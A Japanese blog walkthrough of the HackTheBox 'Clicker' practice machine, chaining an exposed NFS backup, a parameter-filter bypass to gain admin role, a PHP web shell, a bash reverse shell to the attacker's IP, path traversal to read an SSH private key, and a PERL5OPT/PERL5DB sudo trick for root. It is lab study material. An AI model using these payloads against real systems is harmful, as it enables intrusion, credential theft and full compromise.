LoginSignup
1
0

HackTheBox Clicker WriteUp

Last updated at Posted at 2024-01-28

今回は、HackTheBoxのMediumマシン「Clicker」のWriteUpです。
名前から連想できる脆弱性はなさそうですね。どのようなマシンなのでしょうか。

スクリーンショット 2024-01-28 23.34.20.png

グラフは普通のMediumという感じですね。
評価は高そうなので、楽しみです。攻略目指してがんばります!

HackTheBoxってなに?という方はこちらの記事を見てみてください。一緒にハッキングしましょう!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Clicker

侵入

それでは、ポートスキャンを行います。nmapを実行しましょう。

PORT      STATE SERVICE  REASON         VERSION
22/tcp    open  ssh      syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_  256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp    open  http     syn-ack ttl 63 Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://clicker.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
111/tcp   open  rpcbind  syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      35009/tcp6  mountd
|   100005  1,2,3      35169/udp6  mountd
|   100005  1,2,3      46275/tcp   mountd
|   100005  1,2,3      58220/udp   mountd
|   100021  1,3,4      34037/tcp6  nlockmgr
|   100021  1,3,4      34799/udp6  nlockmgr
|   100021  1,3,4      44343/tcp   nlockmgr
|_  100021  1,3,4      59823/udp   nlockmgr
2049/tcp  open  nfs      syn-ack ttl 63 3-4 (RPC #100003)
33047/tcp open  mountd   syn-ack ttl 63 1-3 (RPC #100005)
41591/tcp open  status   syn-ack ttl 63 1 (RPC #100024)
44343/tcp open  nlockmgr syn-ack ttl 63 1-4 (RPC #100021)
46275/tcp open  mountd   syn-ack ttl 63 1-3 (RPC #100005)
51229/tcp open  mountd   syn-ack ttl 63 1-3 (RPC #100005)

Linuxにしては珍しくポートが結構あいています。
とりあえず、80番があいているのでブラウザでアクセスしてみましょう。

スクリーンショット 2024-01-01 15.45.05.png

ゲームのサイトでしょうか。説明を見るに、「Clicker」とはゲームの名前を示すようです。
遷移を見てます。サイトの上部に3つのボタンがあり、loginregisterが可能であることがわかります。
当然、ログイン情報は持っていないので、とりあえず登録を行なってみます。
登録に成功すると、ボタンの下に緑色でメッセージが表示されます。

スクリーンショット 2024-01-01 15.51.03.png

では、登録した情報を使用してログインしてみましょう。

スクリーンショット 2024-01-01 15.52.41.png

Welcome pentesterと表示され、ボタンも変更されていることがわかります。
Profileでは、ユーザのクリック数やレベルを確認することができるようです。Playを押すと、ゲーム画面へ遷移します。

スクリーンショット 2024-01-01 15.54.50.png

マウスポインターのボタンをクリックすることで、カウントが増えていき、レベルアップボタンを押すことでレベルが上がるといったゲームのようです。
セーブをすると、カウント数とレベルが保存され、プロフィールで確認することができます。

スクリーンショット 2024-01-01 15.58.37.png

Webページの大体の仕様はわかりましたが、特に脆弱性につながりそうな箇所は見つかりませんでした。

次に、ポートスキャンの結果から、nfsがオープンしていたことがわかっているので、マウントができるかどうか調べてみます。

$ showmount -e 10.10.11.232
Export list for 10.10.11.232:
/mnt/backups *

/mnt/backupsがマウント可能であることがわかりました。マウントしてみましょう。

$ sudo mount -t nfs 10.10.11.232:/mnt/backups ./mountf -o nolock

特にエラーが出なければ成功です。フォルダにアクセスし、どのようなファイルが存在するかみてみます。

$ ls -l mountf/
total 2232
-rw-r--r-- 1 root root 2284115 Sep  2 05:27 clicker.htb_backup.zip

zipファイルを発見しました。コピーし、解凍してみましょう。

$ unzip clicker.htb_backup.zip         
Archive:  clicker.htb_backup.zip
   creating: clicker.htb/
  inflating: clicker.htb/play.php    
  inflating: clicker.htb/profile.php  
  inflating: clicker.htb/authenticate.php  
  inflating: clicker.htb/create_player.php  
  inflating: clicker.htb/logout.php  
   creating: clicker.htb/assets/
  ... 略 ...
  inflating: clicker.htb/assets/css/bootstrap.css  
  inflating: clicker.htb/assets/css/bootstrap-reboot.css.map  
  inflating: clicker.htb/login.php   
  inflating: clicker.htb/admin.php   
  inflating: clicker.htb/info.php    
  inflating: clicker.htb/diagnostic.php  
  inflating: clicker.htb/save_game.php  
  inflating: clicker.htb/register.php  
  inflating: clicker.htb/index.php   
  inflating: clicker.htb/db_utils.php  
   creating: clicker.htb/exports/
  inflating: clicker.htb/export.php  

どうやらWebサイトで使用されているファイルのようです。
認証情報や脆弱なコードを発見できそうです。一つずつ確認していきます。

ロールの権限昇格

一通り確認し終わりました。
まず、コードを読んでいくとわかることとしてゲームに登録したプレイヤーにはロールが付与されます。デフォルトではUserです。

function create_new_player($player, $password) {
	global $pdo;
	$params = ["player"=>$player, "password"=>hash("sha256", $password)];
	$stmt = $pdo->prepare("INSERT INTO players(username, nickname, password, role, clicks, level) VALUES (:player,:player,:password,'User',0,0)");
	$stmt->execute($params);
}

ロールには、Userの他に、Adminという権限が存在し、Admin権限を持つユーザのみadmin.phpへアクセス可能であるようです。

echo '<a class="nav-link fw-bold py-1 px-0 active" href="/profile.php">Profile</a>';
echo '<a class="nav-link fw-bold py-1 px-0 active" href="/logout.php">Logout</a>';
echo '<a class="nav-link fw-bold py-1 px-0 active" href="/play.php">Play</a>';
if ($_SESSION["ROLE"] == "Admin") {
    echo '<a class="nav-link fw-bold py-1 px-0 active" href="/admin.php">Administration</a>';
} 	    	

admin.phpでは、export.phpを使用しトッププレイヤーの情報をエクスポートすることが可能であるようです。
export.phpの内容をみてみましょう。

if (isset($_POST["threshold"]) && is_numeric($_POST["threshold"])) {
    $threshold = $_POST["threshold"];
}
$data = get_top_players($threshold);
$currentplayer = get_current_player($_SESSION["PLAYER"]);
$s = "";
if ($_POST["extension"] == "txt") {
    $s .= "Nickname: ". $currentplayer["nickname"] . " Clicks: " . $currentplayer["clicks"] . " Level: " . $currentplayer["level"] . "\n";
    foreach ($data as $player) {
    $s .= "Nickname: ". $player["nickname"] . " Clicks: " . $player["clicks"] . " Level: " . $player["level"] . "\n";
  }
} elseif ($_POST["extension"] == "json") {
  $s .= json_encode($currentplayer);
  $s .= json_encode($data);
} else {
  $s .= '<table>';
  $s .= '<thead>';
  $s .= '  <tr>';
  $s .= '    <th scope="col">Nickname</th>';
  $s .= '    <th scope="col">Clicks</th>';
  $s .= '    <th scope="col">Level</th>';
  $s .= '  </tr>';
  $s .= '</thead>';
  $s .= '<tbody>';
  $s .= '  <tr>';
  $s .= '    <th scope="row">' . $currentplayer["nickname"] . '</th>';
  $s .= '    <td>' . $currentplayer["clicks"] . '</td>';
  $s .= '    <td>' . $currentplayer["level"] . '</td>';
  $s .= '  </tr>';

  foreach ($data as $player) {
    $s .= '  <tr>';
    $s .= '    <th scope="row">' . $player["nickname"] . '</th>';
    $s .= '    <td>' . $player["clicks"] . '</td>'; 
    $s .= '    <td>' . $player["level"] . '</td>';
    $s .= '  </tr>';
  }
  $s .= '</tbody>';
  $s .= '</table>';
} 

$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
file_put_contents($filename, $s);
header('Location: /admin.php?msg=Data has been saved in ' . $filename);
?>

このコードでは、$_POST["extension"]で指定された拡張子でファイルを作成し、exports配下に保存しています。txtjsonでなくとも指定可能であるため、phpを指定することでWebシェルを作成できそうです。
つまり、ロールの権限をAdminにすることさえ成功すれば侵入できるということです。

では、どうやってロールの権限をAdminにするのでしょうか。その答えはゲームの情報を保存する処理にありました。

function save_profile($player, $args) {
	global $pdo;
  	$params = ["player"=>$player];
	$setStr = "";
  	foreach ($args as $key => $value) {
    		$setStr .= $key . "=" . $pdo->quote($value) . ",";
	}
  	$setStr = rtrim($setStr, ",");
  	$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
  	$stmt -> execute($params);
}

上のコードでは、$argsで送られてきた値をそれに対応するvalueで更新しています。
実際にゲーム情報を保存するときに送信されているリクエストをみてみましょう。

GET /save_game.php?clicks=20&level=0 HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Upgrade-Insecure-Requests: 1

clickslevelが送られてきています!
これらに対応する値(20、0)が保存されているわけです。勘のいい方はもうお気づきかもしれません。そうです。ロールを変更したいのであれば、同じようにパラメータにroleを追加してあげればいいのです。
roleを追加し、リクエストを送信してみましょう。

スクリーンショット 2024-01-01 18.02.44.png

エラーが表示されてしまいました。。。
あれ?と思いみてみると、フィルター処理を行なっているコードを発見しました。

<?php
session_start();
include_once("db_utils.php");

if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
	$args = [];
	foreach($_GET as $key=>$value) {
		if (strtolower($key) === 'role') {
			// prevent malicious users to modify role
			header('Location: /index.php?err=Malicious activity detected!');
			die;
		}
		$args[$key] = $value;
	}
	save_profile($_SESSION['PLAYER'], $_GET);
	// update session info
	$_SESSION['CLICKS'] = $_GET['clicks'];
	$_SESSION['LEVEL'] = $_GET['level'];
	header('Location: /index.php?msg=Game has been saved!');
	
}
?>

GETパラメータとしてroleが存在していた場合に攻撃だとして処理を終了させる処理がありました。。。
もしかして違う方向を向いていたかなと一瞬思ったのですが、みてください。フィルターは完全一致で照合しています。そのため、少しでも違う形でリクエストを通すことができればうまくいくということです。
普段からCTFをやっていることもあり、慣れていました。様々な方法がありますが、私は%09roleの前に付与し、再度リクエストを送信します。

スクリーンショット 2024-01-01 18.09.02.png

うまく保存できたようです!
ここからが重要です!再度、ログインをし直す必要があります!
私はログインをし直す必要があると気づかず、いつまで経ってもadmin.phpにアクセスできなかったのでかなりの時間を無駄にしてしまいました。泣

再ログインすると、Administrationというボタンが表示されているはずです。

スクリーンショット 2024-01-01 18.13.01.png

ロールの権限昇格に成功しました!

Webシェルの作成

それでは、Administrationにアクセスしてみましょう。

スクリーンショット 2024-01-01 18.14.21.png

トッププレイヤーが表示されており、画面下には拡張子を選ぶリストとExportボタンがあります。
先ほども記述させていただきましたが、この拡張子を任意のもの(php)に変換し、Webシェルを作成します。

問題は、どのようにしてシェルを実行するPHPコードを埋め込むかです。export.phpでは、トッププレイヤーのnicknameclickslevelをファイル内に埋め込むようなので、まず自分自身をトッププレイヤーにする必要があります。
これは簡単です。トッププレイヤーになる条件はclicks数が1000000以上であればいいので、roleAdminにしたように、clicks1000000へ変更しましょう。

スクリーンショット 2024-01-01 18.20.04.png

作成したユーザがトッププレイヤーになりました!
あとは、PHPコードを埋め込む方法ですが、nicknameを変更することで実現できます。
下記のようなリクエストを送信しましょう。

GET /save_game.php?clicks=1000000&level=1&nickname=%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%3b%20%3f%3e HTTP/1.1

nicknameに指定したのは、PHPコードをURLエンコードさせたものです。
こうすることで、ランキングのニックネーム欄が空欄になっていると思います。

スクリーンショット 2024-01-01 18.24.26.png

あとはエクスポートするだけです。
拡張子のパラメータをPHPに変更し、リクエストを送信しましょう。

スクリーンショット 2024-01-01 18.25.56.png

PHPファイルが保存されました!
cmd=whoamiを指定し、アクセスしてみましょう。

スクリーンショット 2024-01-01 18.27.16.png

コマンドが実行できました!

www-data としてのシェル

それでは、シェルを取得しましょう。

GET /exports/top_players_cq0d791j.php?cmd=%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%34%2f%32%31%32%31%20%30%3e%26%31%22
(bash -c "bash -i >& /dev/tcp/10.10.14.4/2121 0>&1")

待ち受けを確認します。

$ nc -lnvp 2121    
listening on [any] 2121 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.232] 55112
bash: cannot set terminal process group (1256): Inappropriate ioctl for device
bash: no job control in this shell
www-data@clicker:/var/www/clicker.htb/exports$ whoami
whoami
www-data

侵入成功です!

横移動

それでは、引き続き攻略を続けていきましょう。
まずは、ホームディレクトリを確認し、どのようなユーザがいるかみてみます。

www-data@clicker:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root root 4096 Sep  5 19:19 .
drwxr-xr-x 18 root root 4096 Sep  5 19:19 ..
drwxr-x---  7 jack jack 4096 Sep  6 12:30 jack

jackの存在を確認しました。
ディレクトリへはアクセスできないようなので、他にjackに権限があるファイルやディレクトリが存在しないかみてみましょう。

www-data@clicker:/tmp$ find / -user jack 2>/dev/null
find / -user jack 2>/dev/null
/home/jack
/var/crash/_opt_manage_execute_query.1000.crash
/opt/manage
/opt/manage/README.txt
/opt/manage/execute_query

明らかに怪しさそうなバイナリが/opt配下にあることがわかりました。
とりあえず、README.txtをみてみましょう。

www-data@clicker:/opt/manage$ cat README.txt
cat README.txt
Web application Management

Use the binary to execute the following task:
	- 1: Creates the database structure and adds user admin
	- 2: Creates fake players (better not tell anyone)
	- 3: Resets the admin password
	- 4: Deletes all users except the admin

どうやら、execute_queryは実行と同時に指定した引数に応じてSQLに関する処理を行うようです。
さらに詳しくみてみるため、ローカルにダウンロードしGhidraで解析してみましょう。

解析してみると、メイン関数で気になる処理を発見しました。

undefined8 main(int param_1,long param_2)
{
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_1 < 2) {
           
      puts("ERROR: Invalid arguments");
      uVar2 = 2;
      goto LAB_001015e1;
    case 1:
      strncpy(pcVar3,"create.sql",0x14);
      break;
    case 2:
      strncpy(pcVar3,"populate.sql",0x14);
      break;
    case 3:
      strncpy(pcVar3,"reset_password.sql",0x14);
      break;
    case 4:
      strncpy(pcVar3,"clean.sql",0x14);
      break;
    default:
      strncpy(pcVar3,*(char **)(param_2 + 0x10),0x14);
    }
    local_98 = 0x616a2f656d6f682f;
    local_90 = 0x69726575712f6b63;
    local_88 = 0x2f7365;
    sVar4 = strlen((char *)&local_98);
    sVar5 = strlen(pcVar3);
    __dest = (char *)calloc(sVar5 + sVar4 + 1,1);
    strcat(__dest,(char *)&local_98);
    strcat(__dest,pcVar3);
    setreuid(1000,1000);
    iVar1 = access(__dest,4);
    if (iVar1 == 0) {
      local_78 = 0x6e69622f7273752f;
      local_70 = 0x2d206c7173796d2f;
      local_68 = 0x656b63696c632075;
      local_60 = 0x6573755f62645f72;
      local_58 = 0x737361702d2d2072;
      local_50 = 0x6c63273d64726f77;
      local_48 = 0x62645f72656b6369;
      local_40 = 0x726f77737361705f;
      local_38 = 0x6b63696c63202764;
      local_30 = 0x203c20762d207265;
      local_28 = 0;
      sVar4 = strlen((char *)&local_78);
      sVar5 = strlen(pcVar3);
      pcVar3 = (char *)calloc(sVar5 + sVar4 + 1,1);
      strcat(pcVar3,(char *)&local_78);
      strcat(pcVar3,__dest);
      system(pcVar3);
    }
    else {
      puts("File not readable or not found");
    }
    uVar2 = 0;
  }
LAB_001015e1:
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar2;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

case文の1から4はREADME.txtで確認した通りの内容ですが、そのほかにデフォルトの挙動があるようです。
デフォルトの挙動が一体何をしているのかというと、param_2で指定したファイルパスに対して/home/jack/queriesを追加し、完全なファイルパスを作成。その後、そのファイルを読み取っています!

試しに、/etc/passwdを読み取らせてみましょう。注意点としては、/home/jack/queries/etc/passwdになってしまうので、../../../etc/passwdを指定する必要があります。
また、前提としてparam_1は2以上である必要があるので、デフォルトにするためには、2から4以外の数字を指定します。

www-data@clicker:/opt/manage$ ./execute_query 5 ../../../etc/passwd
./execute_query 5 ../../../etc/passwd
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

読み取ることができました!
それでは、SSH鍵が取得できるか試してみましょう。

www-data@clicker:/opt/manage$ ./execute_query 5 ../.ssh/id_rsa
./execute_query 5 ../.ssh/id_rsa
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
J/tSzgoR9Fko8I1UpLnHCLz2Ezsb/MrLCe8nG5TlbJrrQ4HcqnS4TKN7DZ7XW0bup3ayy1
kAAZ9Uot6ep/ekM8E+7/39VZ5fe1FwZj4iRKI+g/BVQFclsgK02B594GkOz33P/Zzte2jV
Tgmy3+htPE5My31i2lXh6XWfepiBOjG+mQDg2OySAphbO1SbMisowP1aSexKMh7Ir6IlPu
nuw3l/luyvRGDN8fyumTeIXVAdPfOqMqTOVECo7hAoY+uYWKfiHxOX4fo+/fNwdcfctBUm
pr5Nxx0GCH1wLnHsbx+/oBkPzxuzd+BcGNZp7FP8cn+dEFz2ty8Ls0Mr+XW5ofivEwr3+e
30OgtpL6QhO2eLiZVrIXOHiPzW49emv4xhuoPF3E/5CA6akeQbbGAppTi+EBG9Lhr04c9E
2uCSLPiZqHiViArcUbbXxWMX2NPSJzDsQ4xeYqFtAAAFiO2Fee3thXntAAAAB3NzaC1yc2
EAAAGBALOHkGlh3uOYhkongx262gGIEHTMJTBj7edCpjFAL1oAFds5T/P9WCf7Us4KEfRZ
KPCNVKS5xwi89hM7G/zKywnvJxuU5Wya60OB3Kp0uEyjew2e11tG7qd2sstZAAGfVKLenq
f3pDPBPu/9/VWeX3tRcGY+IkSiPoPwVUBXJbICtNgefeBpDs99z/2c7Xto1U4Jst/obTxO
TMt9YtpV4el1n3qYgToxvpkA4NjskgKYWztUmzIrKMD9WknsSjIeyK+iJT7p7sN5f5bsr0
RgzfH8rpk3iF1QHT3zqjKkzlRAqO4QKGPrmFin4h8Tl+H6Pv3zcHXH3LQVJqa+TccdBgh9
cC5x7G8fv6AZD88bs3fgXBjWaexT/HJ/nRBc9rcvC7NDK/l1uaH4rxMK9/nt9DoLaS+kIT
tni4mVayFzh4j81uPXpr+MYbqDxdxP+QgOmpHkG2xgKaU4vhARvS4a9OHPRNrgkiz4mah4

SSH鍵を取得できました!

jack としてのシェル

それでは、SSH接続を行いましょう。
接続する前に、鍵のフォーマットを正しく修正することを忘れないでください。

$ ssh -i jack_id_rsa jack@10.10.11.232  
jack@clicker:~$ whoami
jack

横移動に成功しました!

jack@clicker:~$ ls -l
total 8
drwx------ 2 jack jack 4096 Sep  5 19:19 queries
-rw-r----- 1 root jack   33 Jan  1 06:37 user.txt

フラグも無事取得できました!

権限昇格

攻略もいよいよ終盤です!
それでは、お決まりのsudo -lから実行してみましょう。

jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jack may run the following commands on clicker:
    (ALL : ALL) ALL
    (root) SETENV: NOPASSWD: /opt/monitor.sh

monitor.shがroot権限で実行できること、そして環境変数を変更できることがわかりました。
まずは、どのようなスクリプトなのかみてみましょう。

jack@clicker:/opt$ cat monitor.sh
#!/bin/bash
if [ "$EUID" -ne 0 ]
  then echo "Error, please run as root"
  exit
fi

set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
    exit;
else
    timestamp=$(/usr/bin/date +%s)
    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi

コードをみるに、curlで取得したデータに対してxml_ppを実行し、$NOSAVEfalseの場合に、xmlファイルを保存するスクリプトのようです。
xml_ppをよく知らなかったので、調べてみました。

どうやら、XMLプリンターで、perlモジュールの一部であるようです。
スクリプト上に怪しい点を見つけれなかった私は、環境変数による権限昇格が行えないかみてみました。すると、下記の記事を発見しました。

この記事では、各言語の環境変数によるハッキング手法がまとめられています。その中の一つにperlがあり、PERL5OPTを使用することで、コマンドを実行していることがわかりました。
もう少し、詳しくみてみたいと思ったので、さらに検索し深掘ってみるとコマンド実行についてわかりやすい記事を発見しました。

どうやら、PERL5OPTはオプションを指定するもののようです。実際にコマンドを読み込むのはPERL5DBのようです。
例だと、Perlスクリプトを実行しているようですが、通常のコマンドも実行できるか試してみましょう。

$ sudo PERL5OPT=-d PERL5DB="BEGIN {'whoami'}" /opt/monitor.sh
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.

うまくいきません。指定の仕方を間違えているのでしょう。
もう少し調べてみることにしました。

しばらく調べていると、ドンピシャな記事を発見しました!

記事によると、PERL5OPT=-d PERL5DB='system("ls -la");'で実行できるようです。
早速試してみましょう。

jack@clicker:/opt$ sudo PERL5OPT=-d PERL5DB='system("whoami");' /opt/monitor.sh
root
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.

また失敗か?と一瞬思いましたが、一番上にrootと出力されています!
これはきました!/bin/bashにSUIDが付与できるかも試してみましょう。

$ sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.

特に出力はなしです。
権限を確認しましょう。

$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash

きました〜〜〜〜!!

root としてのシェル

それでは、権限昇格を行いましょう!

jack@clicker:/opt$ bash -p
bash-5.1# whoami
root

権限昇格成功です!

bash-5.1# ls -l /root
total 12
drwxr-xr-x 2 root root 4096 Jan  1 11:30 diagnostic_files
drwxr-xr-x 2 root root 4096 Sep  5 19:19 restore
-rw-r----- 1 root root   33 Jan  1 06:37 root.txt

フラグも取得し、完全攻略達成です〜〜!

攻略を終えて

かなり楽しいマシンでした!特に、初期侵入は少しCTF要素もある感じがしましたが、記事でも書いたように、adminに昇格したときに再ログインが必要であることに気付かず結構時間を使ってしまったのが悔しかったです笑
最後の権限昇格では、Perlの環境変数を悪用するアプローチということで、そういった攻撃手法があるというのは知りつつも実際に試したことはなかったので貴重な経験でした。
足がかりはNFSからコードを確認することでした。HackTheBoxでNFSが開いていると怪しさ満点ですが、実社会でもアクセス制御を行わずに使用していることもあるかもしれません。適切な制御を呼びかけていきたいなと思います。
今後も、HackTheBoxのWriteUpを公開していきますので、みていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました〜!

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0